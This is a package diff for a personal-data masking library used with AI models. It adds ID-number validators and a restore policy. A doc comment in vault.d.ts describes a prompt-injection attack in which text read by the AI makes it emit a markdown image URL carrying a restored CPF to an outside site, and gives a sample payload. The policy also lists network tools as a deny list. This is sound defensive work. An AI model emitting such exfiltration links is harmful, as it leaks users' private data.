@guhttps/veu 0.5.2 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -24,7 +24,41 @@ export declare function phoneDigits(value: string): string;
24
24
  export declare function isValidPhone(value: string): boolean;
25
25
  export declare function isValidIntlPhone(value: string): boolean;
26
26
  export declare function isValidIban(value: string): boolean;
27
+ /** Porta de rede: de 1 a 65535, sem zeros à esquerda. */
28
+ export declare function isValidPort(value: string): boolean;
27
29
  export declare function isValidIpv4(value: string): boolean;
28
30
  export declare function isValidIpv6(value: string): boolean;
29
31
  export declare function parseDate(value: string): Date | null;
30
32
  export declare function isPlausibleBirthdate(value: string): boolean;
33
+ export declare function isValidNifPt(value: string): boolean;
34
+ export declare function isValidCcPt(value: string): boolean;
35
+ export declare function isValidNissPt(value: string): boolean;
36
+ export declare function isValidCuit(value: string): boolean;
37
+ export declare function isValidCurp(value: string): boolean;
38
+ export declare function isValidRfc(value: string): boolean;
39
+ export declare function isValidRutCl(value: string): boolean;
40
+ export declare function isValidCiUy(value: string): boolean;
41
+ export declare function isValidRutUy(value: string): boolean;
42
+ export declare function isValidNitCo(value: string): boolean;
43
+ export declare function isValidRucPe(value: string): boolean;
44
+ export declare function isValidCiEc(value: string): boolean;
45
+ export declare function isValidRucEc(value: string): boolean;
46
+ export declare function isValidRucPy(value: string): boolean;
47
+ export declare const isValidRuc: (value: string) => boolean;
48
+ export declare const isValidCedula: (value: string) => boolean;
49
+ export declare function isValidRif(value: string): boolean;
50
+ export declare function isValidNuit(value: string): boolean;
51
+ export declare function isValidSsn(value: string): boolean;
52
+ export declare function isValidDniEs(value: string): boolean;
53
+ export declare function isValidCodiceFiscale(value: string): boolean;
54
+ export declare function isValidNir(value: string): boolean;
55
+ export declare function isValidSteuerId(value: string): boolean;
56
+ export declare function isValidNino(value: string): boolean;
57
+ export declare function isValidNhs(value: string): boolean;
58
+ export declare function isValidBsn(value: string): boolean;
59
+ export declare function isValidSin(value: string): boolean;
60
+ export declare function isValidAadhaar(value: string): boolean;
61
+ export declare function mrzCheckDigit(field: string): string;
62
+ export declare function isValidMrzLine(value: string): boolean;
63
+ export declare function isValidVin(value: string): boolean;
64
+ export declare function isValidCryptoAddress(value: string): boolean;
@@ -1,4 +1,5 @@
1
1
  // Validação de documentos brasileiros pelos dígitos verificadores (equivalente a veu/validators.py).
2
+ import { sha256 } from "./sha256.js";
2
3
  import { onlyDigits } from "./text.js";
3
4
  export const VALID_DDDS = new Set([
4
5
  11, 12, 13, 14, 15, 16, 17, 18, 19, 21, 22, 24, 27, 28, 31, 32, 33, 34, 35, 37, 38,
@@ -198,6 +199,10 @@ export function isValidIban(value) {
198
199
  const number = [...rearranged].map((char) => parseInt(char, 36).toString()).join("");
199
200
  return mod97(number) === 1;
200
201
  }
202
+ /** Porta de rede: de 1 a 65535, sem zeros à esquerda. */
203
+ export function isValidPort(value) {
204
+ return /^[1-9]\d{0,4}$/.test(value) && Number(value) <= 65535;
205
+ }
201
206
  export function isValidIpv4(value) {
202
207
  const parts = value.split(".");
203
208
  if (parts.length !== 4)
@@ -265,3 +270,344 @@ export function isPlausibleBirthdate(value) {
265
270
  const parsed = parseDate(value);
266
271
  return parsed !== null && parsed.getUTCFullYear() >= 1900 && parsed.getUTCFullYear() <= new Date().getFullYear();
267
272
  }
273
+ // Outros países (algoritmos conferidos com o python-stdnum 2.2; equivalentes a veu/validators.py).
274
+ const NIF_PT_PREFIXES = new Set(["45", "70", "71", "72", "74", "75", "77", "78", "79", "90", "91", "98", "99"]);
275
+ const sumWeights = (weights, digits) => weights.reduce((total, weight, index) => total + weight * Number(digits[index]), 0);
276
+ const mod = (value, base) => ((value % base) + base) % base;
277
+ export function isValidNifPt(value) {
278
+ const d = onlyDigits(value);
279
+ if (d.length !== 9 || !("12356".includes(d[0]) || NIF_PT_PREFIXES.has(d.slice(0, 2))))
280
+ return false;
281
+ return String(mod(11 - sumWeights([9, 8, 7, 6, 5, 4, 3, 2], d), 11) % 10) === d[8];
282
+ }
283
+ const ALNUM36 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
284
+ export function isValidCcPt(value) {
285
+ const compact = value.replace(/[\s-]/g, "").toUpperCase();
286
+ if (!/^\d{9}[A-Z0-9]{2}\d$/.test(compact))
287
+ return false;
288
+ let total = 0;
289
+ [...compact.slice(0, -1)].reverse().forEach((char, index) => {
290
+ let number = ALNUM36.indexOf(char);
291
+ if (index % 2 === 0) {
292
+ number *= 2;
293
+ if (number > 9)
294
+ number -= 9;
295
+ }
296
+ total += number;
297
+ });
298
+ return String(mod(10 - total, 10)) === compact[11];
299
+ }
300
+ export function isValidNissPt(value) {
301
+ const d = onlyDigits(value);
302
+ if (d.length !== 11 || !"12".includes(d[0]))
303
+ return false;
304
+ return String(9 - (sumWeights([29, 23, 19, 17, 13, 11, 7, 5, 3, 2], d) % 10)) === d[10];
305
+ }
306
+ const CUIT_PREFIXES = new Set(["20", "23", "24", "27", "30", "33", "34", "50", "51", "55"]);
307
+ export function isValidCuit(value) {
308
+ const d = onlyDigits(value);
309
+ if (d.length !== 11 || !CUIT_PREFIXES.has(d.slice(0, 2)))
310
+ return false;
311
+ return "012345678990"[11 - (sumWeights([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], d) % 11)] === d[10];
312
+ }
313
+ const CURP_ALPHABET = "0123456789ABCDEFGHIJKLMN&OPQRSTUVWXYZ";
314
+ const MX_STATES = new Set([
315
+ "AS", "BC", "BS", "CC", "CL", "CM", "CS", "CH", "DF", "DG", "GT", "GR", "HG", "JC", "MC", "MN", "MS", "NT", "NL",
316
+ "OC", "PL", "QT", "QR", "SP", "SL", "SR", "TC", "TS", "TL", "VZ", "YN", "ZS", "NE",
317
+ ]);
318
+ function validYymmdd(text) {
319
+ const month = Number(text.slice(2, 4));
320
+ const day = Number(text.slice(4, 6));
321
+ if (month < 1 || month > 12 || day < 1)
322
+ return false;
323
+ return day <= new Date(Date.UTC(2000, month, 0)).getUTCDate(); // 2000 é bissexto: aceita 29/02
324
+ }
325
+ export function isValidCurp(value) {
326
+ const v = value.toUpperCase();
327
+ if (!/^[A-Z]{4}\d{6}[HMX][A-Z]{5}[0-9A-Z]\d$/.test(v))
328
+ return false;
329
+ if (!validYymmdd(v.slice(4, 10)) || !MX_STATES.has(v.slice(11, 13)))
330
+ return false;
331
+ const total = [...v.slice(0, 17)].reduce((sum, char, i) => sum + CURP_ALPHABET.indexOf(char) * (18 - i), 0);
332
+ return String(mod(10 - (total % 10), 10)) === v[17];
333
+ }
334
+ const RFC_GENERIC = new Set(["XAXX010101000", "XEXX010101000"]);
335
+ export function isValidRfc(value) {
336
+ const v = value.toUpperCase();
337
+ if (RFC_GENERIC.has(v) || !/^[A-ZÑ&]{3,4}\d{6}[A-Z0-9]{3}$/u.test(v))
338
+ return false;
339
+ return validYymmdd(v.slice(-9, -3));
340
+ }
341
+ export function isValidRutCl(value) {
342
+ const compact = value.replace(/[.\s-]/g, "").toUpperCase();
343
+ if (!/^\d{6,8}[0-9K]$/.test(compact))
344
+ return false;
345
+ const body = compact.slice(0, -1);
346
+ const total = [...body].reverse().reduce((sum, n, i) => sum + Number(n) * (2 + (i % 6)), 0);
347
+ const rest = 11 - (total % 11);
348
+ return (rest === 11 ? "0" : rest === 10 ? "K" : String(rest)) === compact.slice(-1);
349
+ }
350
+ export function isValidCiUy(value) {
351
+ const d = onlyDigits(value);
352
+ if (d.length !== 8)
353
+ return false;
354
+ return String(mod(10 - (sumWeights([2, 9, 8, 7, 6, 3, 4], d) % 10), 10)) === d[7];
355
+ }
356
+ export function isValidRutUy(value) {
357
+ const d = onlyDigits(value);
358
+ const register = Number(d.slice(0, 2));
359
+ if (d.length !== 12 || register < 1 || register > 22 || d.slice(2, 8) === "000000" || d.slice(8, 11) !== "001")
360
+ return false;
361
+ const check = mod(-sumWeights([4, 3, 2, 9, 8, 7, 6, 5, 4, 3, 2], d), 11);
362
+ return check !== 10 && String(check) === d[11];
363
+ }
364
+ const NIT_WEIGHTS = [3, 7, 13, 17, 19, 23, 29, 37, 41, 43, 47, 53, 59, 67, 71];
365
+ export function isValidNitCo(value) {
366
+ const d = onlyDigits(value);
367
+ if (d.length < 8 || d.length > 16)
368
+ return false;
369
+ const body = [...d.slice(0, -1)].reverse();
370
+ const total = body.reduce((sum, n, i) => sum + (i < NIT_WEIGHTS.length ? NIT_WEIGHTS[i] * Number(n) : 0), 0);
371
+ return "01987654321"[total % 11] === d.slice(-1);
372
+ }
373
+ export function isValidRucPe(value) {
374
+ const d = onlyDigits(value);
375
+ if (d.length !== 11 || !["10", "15", "17", "20"].includes(d.slice(0, 2)))
376
+ return false;
377
+ return String((11 - (sumWeights([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], d) % 11)) % 10) === d[10];
378
+ }
379
+ const ecProvince = (d) => {
380
+ const province = Number(d.slice(0, 2));
381
+ return (province >= 1 && province <= 24) || d.slice(0, 2) === "30" || d.slice(0, 2) === "50";
382
+ };
383
+ export function isValidCiEc(value) {
384
+ const d = onlyDigits(value);
385
+ if (d.length !== 10 || !ecProvince(d) || Number(d[2]) >= 6)
386
+ return false;
387
+ let total = 0;
388
+ for (let i = 0; i < 9; i += 1) {
389
+ const product = Number(d[i]) * (i % 2 === 0 ? 2 : 1);
390
+ total += product > 9 ? product - 9 : product;
391
+ }
392
+ return String(mod(10 - (total % 10), 10)) === d[9];
393
+ }
394
+ export function isValidRucEc(value) {
395
+ const d = onlyDigits(value);
396
+ if (d.length !== 13 || !ecProvince(d))
397
+ return false;
398
+ if (Number(d[2]) < 6)
399
+ return isValidCiEc(d.slice(0, 10)) && d.slice(10) !== "000";
400
+ if (d[2] === "6")
401
+ return sumWeights([3, 2, 7, 6, 5, 4, 3, 2, 1], d) % 11 === 0 && d.slice(9) !== "0000";
402
+ if (d[2] === "9")
403
+ return sumWeights([4, 3, 2, 7, 6, 5, 4, 3, 2, 1], d) % 11 === 0 && d.slice(10) !== "000";
404
+ return false;
405
+ }
406
+ export function isValidRucPy(value) {
407
+ const d = onlyDigits(value);
408
+ if (d.length < 6 || d.length > 9)
409
+ return false;
410
+ const total = [...d.slice(0, -1)].reverse().reduce((sum, n, i) => sum + Number(n) * (2 + i), 0);
411
+ return String(mod(-total, 11) % 10) === d.slice(-1);
412
+ }
413
+ export const isValidRuc = (value) => isValidRucPe(value) || isValidRucEc(value) || isValidRucPy(value);
414
+ export const isValidCedula = (value) => isValidCiUy(value) || isValidCiEc(value);
415
+ const RIF_LETTERS = { V: 4, E: 8, J: 12, P: 16, G: 20 };
416
+ export function isValidRif(value) {
417
+ const compact = value.replace(/[\s-]/g, "").toUpperCase();
418
+ if (!/^[VEJPG]\d{9}$/.test(compact))
419
+ return false;
420
+ const total = RIF_LETTERS[compact[0]] + sumWeights([3, 2, 7, 6, 5, 4, 3, 2], compact.slice(1));
421
+ return "00987654321"[total % 11] === compact[9];
422
+ }
423
+ // África lusófona, EUA, Europa e identificadores transversais (python-stdnum 2.2 como referência) ---------------
424
+ export function isValidNuit(value) {
425
+ const d = onlyDigits(value);
426
+ if (d.length !== 9)
427
+ return false;
428
+ return "01234567891"[sumWeights([8, 9, 4, 5, 6, 7, 8, 9], d) % 11] === d[8];
429
+ }
430
+ const SSN_BLACKLIST = new Set(["078051120", "457555462", "219099999"]);
431
+ export function isValidSsn(value) {
432
+ const d = onlyDigits(value);
433
+ if (d.length !== 9 || SSN_BLACKLIST.has(d))
434
+ return false;
435
+ const [area, group, serial] = [d.slice(0, 3), d.slice(3, 5), d.slice(5)];
436
+ if (area[0] === "9")
437
+ return Number(group) >= 70 && Number(group) <= 99 && group !== "89" && group !== "93";
438
+ return area !== "000" && area !== "666" && group !== "00" && serial !== "0000";
439
+ }
440
+ const DNI_ES_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
441
+ export function isValidDniEs(value) {
442
+ const match = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(value.replace(/[\s-]/g, "").toUpperCase());
443
+ if (!match)
444
+ return false;
445
+ const prefix = match[1];
446
+ let number = match[2];
447
+ if (prefix) {
448
+ if (number.length !== 7)
449
+ return false;
450
+ number = String("XYZ".indexOf(prefix)) + number;
451
+ }
452
+ else if (number.length !== 8) {
453
+ return false;
454
+ }
455
+ return DNI_ES_LETTERS[Number(number) % 23] === match[3];
456
+ }
457
+ const CF_ODD = [1, 0, 5, 7, 9, 13, 15, 17, 19, 21, 1, 0, 5, 7, 9, 13, 15, 17, 19, 21, 2, 4, 18, 20, 11, 3, 6, 8, 12, 14, 16,
458
+ 10, 22, 25, 24, 23];
459
+ export function isValidCodiceFiscale(value) {
460
+ const v = value.toUpperCase();
461
+ if (!/^[A-Z]{6}[\dLMNP-V]{2}[ABCDEHLMPRST][\dLMNP-V]{2}[A-Z][\dLMNP-V]{3}[A-Z]$/.test(v))
462
+ return false;
463
+ let total = 0;
464
+ for (let i = 0; i < 15; i += 1) {
465
+ const index = ALNUM36.indexOf(v[i]);
466
+ total += i % 2 === 0 ? CF_ODD[index] : index < 10 ? index : index - 10;
467
+ }
468
+ return String.fromCharCode(65 + (total % 26)) === v[15];
469
+ }
470
+ export function isValidNir(value) {
471
+ const compact = value.replace(/\s/g, "").toUpperCase();
472
+ if (!/^[12]\d{4}(?:\d{2}|2A|2B)\d{6}\d{2}$/.test(compact))
473
+ return false;
474
+ const number = compact.slice(0, 13).replace("2A", "19").replace("2B", "18");
475
+ return 97 - (Number(number) % 97) === Number(compact.slice(13));
476
+ }
477
+ export function isValidSteuerId(value) {
478
+ const d = onlyDigits(value);
479
+ if (d.length !== 11 || d[0] === "0")
480
+ return false;
481
+ const first = [...d.slice(0, 10)];
482
+ const counts = [...new Set(first)].map((n) => first.filter((c) => c === n).length);
483
+ if (counts.filter((c) => c === 2 || c === 3).length !== 1 || Math.max(...counts) > 3)
484
+ return false;
485
+ let check = 10;
486
+ for (const n of first) {
487
+ check = (Number(n) + check) % 10 || 10;
488
+ check = (check * 2) % 11;
489
+ }
490
+ return (11 - check) % 10 === Number(d[10]);
491
+ }
492
+ const NINO_PREFIX_BAD = new Set(["BG", "GB", "KN", "NK", "NT", "TN", "ZZ"]);
493
+ export function isValidNino(value) {
494
+ const match = /^([A-CEGHJ-PR-TW-Z])([A-CEGHJ-NPR-TW-Z])(\d{6})([A-D]?)$/.exec(value.replace(/\s/g, "").toUpperCase());
495
+ return match !== null && !NINO_PREFIX_BAD.has(match[1] + match[2]);
496
+ }
497
+ export function isValidNhs(value) {
498
+ const d = onlyDigits(value);
499
+ if (d.length !== 10)
500
+ return false;
501
+ const check = 11 - (sumWeights([10, 9, 8, 7, 6, 5, 4, 3, 2], d) % 11);
502
+ return check !== 10 && String(check === 11 ? 0 : check) === d[9];
503
+ }
504
+ export function isValidBsn(value) {
505
+ const d = onlyDigits(value).padStart(9, "0");
506
+ if (d.length !== 9 || d === "000000000")
507
+ return false;
508
+ return (sumWeights([9, 8, 7, 6, 5, 4, 3, 2], d) - Number(d[8])) % 11 === 0;
509
+ }
510
+ export function isValidSin(value) {
511
+ const d = onlyDigits(value);
512
+ if (d.length !== 9 || "08".includes(d[0]))
513
+ return false;
514
+ const total = [...d].reduce((sum, n, i) => {
515
+ const doubled = Number(n) * 2;
516
+ return sum + (i % 2 === 0 ? Number(n) : doubled > 9 ? doubled - 9 : doubled);
517
+ }, 0);
518
+ return total % 10 === 0;
519
+ }
520
+ const VERHOEFF_D = [
521
+ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 2, 3, 4, 0, 6, 7, 8, 9, 5], [2, 3, 4, 0, 1, 7, 8, 9, 5, 6],
522
+ [3, 4, 0, 1, 2, 8, 9, 5, 6, 7], [4, 0, 1, 2, 3, 9, 5, 6, 7, 8], [5, 9, 8, 7, 6, 0, 4, 3, 2, 1],
523
+ [6, 5, 9, 8, 7, 1, 0, 4, 3, 2], [7, 6, 5, 9, 8, 2, 1, 0, 4, 3], [8, 7, 6, 5, 9, 3, 2, 1, 0, 4],
524
+ [9, 8, 7, 6, 5, 4, 3, 2, 1, 0],
525
+ ];
526
+ const VERHOEFF_P = [
527
+ [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], [1, 5, 7, 6, 2, 8, 3, 0, 9, 4], [5, 8, 0, 3, 7, 9, 6, 1, 4, 2],
528
+ [8, 9, 1, 6, 0, 4, 3, 5, 2, 7], [9, 4, 5, 3, 1, 2, 6, 8, 7, 0], [4, 2, 8, 6, 5, 7, 3, 9, 0, 1],
529
+ [2, 7, 9, 3, 8, 0, 6, 4, 1, 5], [7, 0, 4, 6, 9, 1, 3, 2, 5, 8],
530
+ ];
531
+ export function isValidAadhaar(value) {
532
+ const d = onlyDigits(value);
533
+ if (d.length !== 12 || "01".includes(d[0]) || d === [...d].reverse().join(""))
534
+ return false;
535
+ let check = 0;
536
+ [...d].reverse().forEach((n, i) => {
537
+ check = VERHOEFF_D[check][VERHOEFF_P[i % 8][Number(n)]];
538
+ });
539
+ return check === 0;
540
+ }
541
+ const mrzValue = (char) => (/\d/.test(char) ? Number(char) : char === "<" ? 0 : char.charCodeAt(0) - 55);
542
+ export function mrzCheckDigit(field) {
543
+ return String([...field].reduce((sum, char, i) => sum + mrzValue(char) * [7, 3, 1][i % 3], 0) % 10);
544
+ }
545
+ export function isValidMrzLine(value) {
546
+ const line = value.replace(/\s/g, "").toUpperCase();
547
+ if (!/^[A-Z0-9<]{9}\d[A-Z<]{3}\d{6}\d[MFX<]\d{6}\d[A-Z0-9<]{14}[\d<]\d$/.test(line))
548
+ return false;
549
+ return mrzCheckDigit(line.slice(0, 9)) === line[9] && mrzCheckDigit(line.slice(13, 19)) === line[19]
550
+ && mrzCheckDigit(line.slice(21, 27)) === line[27]
551
+ && mrzCheckDigit(line.slice(0, 10) + line.slice(13, 20) + line.slice(21, 43)) === line[43];
552
+ }
553
+ const VIN_VALUES = Object.fromEntries([
554
+ ...[..."0123456789"].map((c, i) => [c, i]), ...[..."ABCDEFGH"].map((c, i) => [c, i + 1]),
555
+ ...[..."JKLMN"].map((c, i) => [c, i + 1]), ["P", 7], ["R", 9], ...[..."STUVWXYZ"].map((c, i) => [c, i + 2]),
556
+ ]);
557
+ const VIN_WEIGHTS = [8, 7, 6, 5, 4, 3, 2, 10, 0, 9, 8, 7, 6, 5, 4, 3, 2];
558
+ export function isValidVin(value) {
559
+ const v = value.toUpperCase();
560
+ if (!/^[A-HJ-NPR-Z0-9]{17}$/.test(v) || !/\d/.test(v) || !/[A-Z]/.test(v))
561
+ return false;
562
+ const check = [...v].reduce((sum, c, i) => sum + VIN_VALUES[c] * VIN_WEIGHTS[i], 0) % 11;
563
+ return (check === 10 ? "X" : String(check)) === v[8];
564
+ }
565
+ const BASE58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
566
+ function base58checkOk(value) {
567
+ let number = 0n;
568
+ for (const char of value)
569
+ number = number * 58n + BigInt(BASE58.indexOf(char));
570
+ const bytes = [];
571
+ while (number > 0n) {
572
+ bytes.unshift(Number(number & 0xffn));
573
+ number >>= 8n;
574
+ }
575
+ const zeros = value.length - value.replace(/^1+/, "").length;
576
+ const raw = new Uint8Array([...new Array(zeros).fill(0), ...bytes]);
577
+ if (raw.length !== 25)
578
+ return false;
579
+ const digest = sha256(sha256(raw.slice(0, 21)));
580
+ return digest.slice(0, 4).every((byte, i) => byte === raw[21 + i]);
581
+ }
582
+ const BECH32 = "qpzry9x8gf2tvdw0s3jn54khce6mua7l";
583
+ const BECH32_GENERATORS = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3];
584
+ function bech32Ok(value) {
585
+ const lower = value.toLowerCase();
586
+ const separator = lower.lastIndexOf("1");
587
+ const hrp = lower.slice(0, Math.max(separator, 0));
588
+ const data = lower.slice(separator + 1);
589
+ if ((hrp !== "bc" && hrp !== "tb") || data.length < 6 || [...data].some((c) => !BECH32.includes(c)))
590
+ return false;
591
+ const values = [...[...hrp].map((c) => c.charCodeAt(0) >> 5), 0, ...[...hrp].map((c) => c.charCodeAt(0) & 31),
592
+ ...[...data].map((c) => BECH32.indexOf(c))];
593
+ let check = 1;
594
+ for (const v of values) {
595
+ const top = check >>> 25;
596
+ check = (((check & 0x1ffffff) << 5) ^ v) >>> 0;
597
+ BECH32_GENERATORS.forEach((generator, i) => {
598
+ if ((top >>> i) & 1)
599
+ check = (check ^ generator) >>> 0;
600
+ });
601
+ }
602
+ return check === 1 || check === 0x2bc830a3; // bech32 (v0) e bech32m (Taproot)
603
+ }
604
+ export function isValidCryptoAddress(value) {
605
+ if (/^0x[0-9a-fA-F]{40}$/.test(value))
606
+ return true;
607
+ if (/^[13][1-9A-HJ-NP-Za-km-z]{25,34}$/.test(value))
608
+ return base58checkOk(value);
609
+ if (/^(?:bc|tb)1[02-9ac-hj-np-z]{11,71}$/.test(value.toLowerCase())
610
+ && (value === value.toLowerCase() || value === value.toUpperCase()))
611
+ return bech32Ok(value);
612
+ return false;
613
+ }
package/dist/vault.d.ts CHANGED
@@ -2,6 +2,47 @@
2
2
  export declare const DIGIT_LABELS: ReadonlySet<string>;
3
3
  export declare const CODE_LABELS: ReadonlySet<string>;
4
4
  export declare const MAX_HOLDBACK = 48;
5
+ /**
6
+ * Onde a restauração pode devolver os dados reais (igual ao [restauracao] do veu.toml).
7
+ *
8
+ * - `links` (padrão false): restaura também dentro de links, imagens e URLs. Um texto malicioso lido pela IA
9
+ * pode pedir que ela escreva `![x](https://site/?d=[CPF_1])`: restaurar ali enviaria o CPF real ao site.
10
+ * - `linkHosts`: domínios (e subdomínios) cujos links podem receber os dados reais mesmo assim.
11
+ * - `tools` (padrão true): restaura os argumentos das chamadas de ferramenta.
12
+ * - `secretsInTools` (padrão false): restaura chaves de API, tokens e senhas nesses argumentos.
13
+ * - `toolsWithoutData`: palavras de nomes de ferramentas que nunca recebem dados reais (padrão: rede e mensagens).
14
+ * - `toolsWithData`: se preenchida, só estas ferramentas (pelo nome exato) recebem dados reais.
15
+ */
16
+ export interface RestorePolicy {
17
+ links?: boolean;
18
+ linkHosts?: string[];
19
+ tools?: boolean;
20
+ secretsInTools?: boolean;
21
+ toolsWithoutData?: string[];
22
+ toolsWithData?: string[];
23
+ }
24
+ /** Contexto de uma restauração: argumento de ferramenta, nome dela e texto da mesma linha que já passou. */
25
+ export interface RestoreContext {
26
+ tool?: boolean;
27
+ toolName?: string;
28
+ prefix?: string;
29
+ }
30
+ export declare const NETWORK_TOOL_WORDS: readonly string[];
31
+ export declare const toolWords: (name: string) => Set<string>;
32
+ /** A ferramenta com este nome pode receber dados reais nos argumentos? */
33
+ export declare function toolAllowed(policy: RestorePolicy, name: string): boolean;
34
+ export declare const MAX_RUN = 2048;
35
+ /** Se o marcador está dentro de um link, imagem ou URL, devolve a URL até ele; senão, null. */
36
+ export declare function linkContext(before: string): string | null;
37
+ /** Domínio de uma URL absoluta, só se ele já terminou (vazio se o marcador está no próprio domínio). */
38
+ export declare function urlHost(url: string): string;
39
+ /** A política deixa restaurar um valor do tipo `label`, precedido por `before` (o texto da mesma linha)? */
40
+ export declare function restoreAllowed(policy: RestorePolicy, label: string, before: string, tool: boolean, toolName?: string): boolean;
41
+ /**
42
+ * Desarma marcadores que já vêm no texto de entrada: `[CPF_1]` vira `[CPF#1]`. Só o Véu cria marcadores;
43
+ * um marcador escrito por outra pessoa não pode virar um dado real quando a IA o repete.
44
+ */
45
+ export declare function neutralizePlaceholders(text: string, labels?: ReadonlySet<string>): string;
5
46
  export declare function normalizeValue(label: string, value: string): string;
6
47
  export interface VaultEntry {
7
48
  label: string;
@@ -23,39 +64,57 @@ export interface VaultData {
23
64
  valor: string;
24
65
  substituto: string;
25
66
  }[];
67
+ forjados?: string[];
26
68
  }
27
- /** Mapeamento reversível entre dados reais e o que foi enviado ao modelo. Fica só na memória. */
28
69
  export declare class Vault {
70
+ private forgedBare;
29
71
  private byKey;
30
72
  private items;
31
73
  private counters;
32
74
  private secret;
33
- constructor(secret?: Uint8Array | string);
75
+ readonly policy: RestorePolicy;
76
+ constructor(secret?: Uint8Array | string, policy?: RestorePolicy);
34
77
  private static key;
35
78
  lookup(label: string, value: string): string | undefined;
36
79
  placeholder(label: string, value: string, hashed?: boolean): string;
80
+ /** HMAC-SHA256 com uma chave derivada só para o operador hash (64 bits na saída). */
81
+ hashId(label: string, normalized: string): string;
37
82
  /** Faz outro valor (por exemplo, só o primeiro nome) usar um marcador já existente. */
38
83
  alias(label: string, value: string, replacement: string): void;
39
84
  private store;
40
85
  get size(): number;
41
86
  entries(): VaultEntry[];
87
+ /**
88
+ * Desarma os marcadores que já vêm no texto de entrada: "[CPF_1]" vira "[CPF#1]". Um "CPF_1" solto não é
89
+ * reescrito (pode ser um nome no código), mas a forma solta nunca mais é restaurada neste cofre.
90
+ */
91
+ neutralize(text: string): string;
42
92
  get labels(): Set<string>;
43
93
  get hasPlaceholders(): boolean;
44
- /** Troca os marcadores pelos valores reais. jsonEscape: o texto é um pedaço de JSON. */
45
- restore(text: string, jsonEscape?: boolean): string;
46
- restorer(jsonEscape?: boolean): StreamRestorer;
94
+ private entryFor;
95
+ /**
96
+ * Troca os marcadores pelos valores reais, seguindo a política do cofre.
97
+ * jsonEscape: o texto é um pedaço de JSON. `context.tool` (padrão: igual a jsonEscape): argumento de ferramenta.
98
+ * Dentro de links e URLs, e para segredos em argumentos de ferramentas, o marcador fica como está.
99
+ */
100
+ restore(text: string, jsonEscape?: boolean, context?: RestoreContext): string;
101
+ restorer(jsonEscape?: boolean, tool?: boolean, toolName?: string): StreamRestorer;
47
102
  /** O fim do texto pode ser o começo de um marcador que chega no próximo pedaço? */
48
103
  mightContinue(tail: string): boolean;
49
104
  /** O arquivo exportado contém os dados reais: guarde com cuidado. */
50
105
  toJSON(): VaultData;
51
- static fromJSON(data: VaultData, secret?: Uint8Array | string): Vault;
106
+ static fromJSON(data: VaultData, secret?: Uint8Array | string, policy?: RestorePolicy): Vault;
52
107
  }
53
108
  /** Restaura uma resposta que chega em pedaços: um marcador dividido ("[PES" + "SOA_1]") fica retido até completar. */
54
109
  export declare class StreamRestorer {
55
110
  private buffer;
111
+ private line;
56
112
  readonly vault: Vault;
57
113
  readonly jsonEscape: boolean;
58
- constructor(vault: Vault, jsonEscape?: boolean);
114
+ readonly tool: boolean;
115
+ readonly toolName?: string;
116
+ constructor(vault: Vault, jsonEscape?: boolean, tool?: boolean, toolName?: string);
117
+ private emit;
59
118
  feed(text: string): string;
60
119
  flush(): string;
61
120
  get pending(): boolean;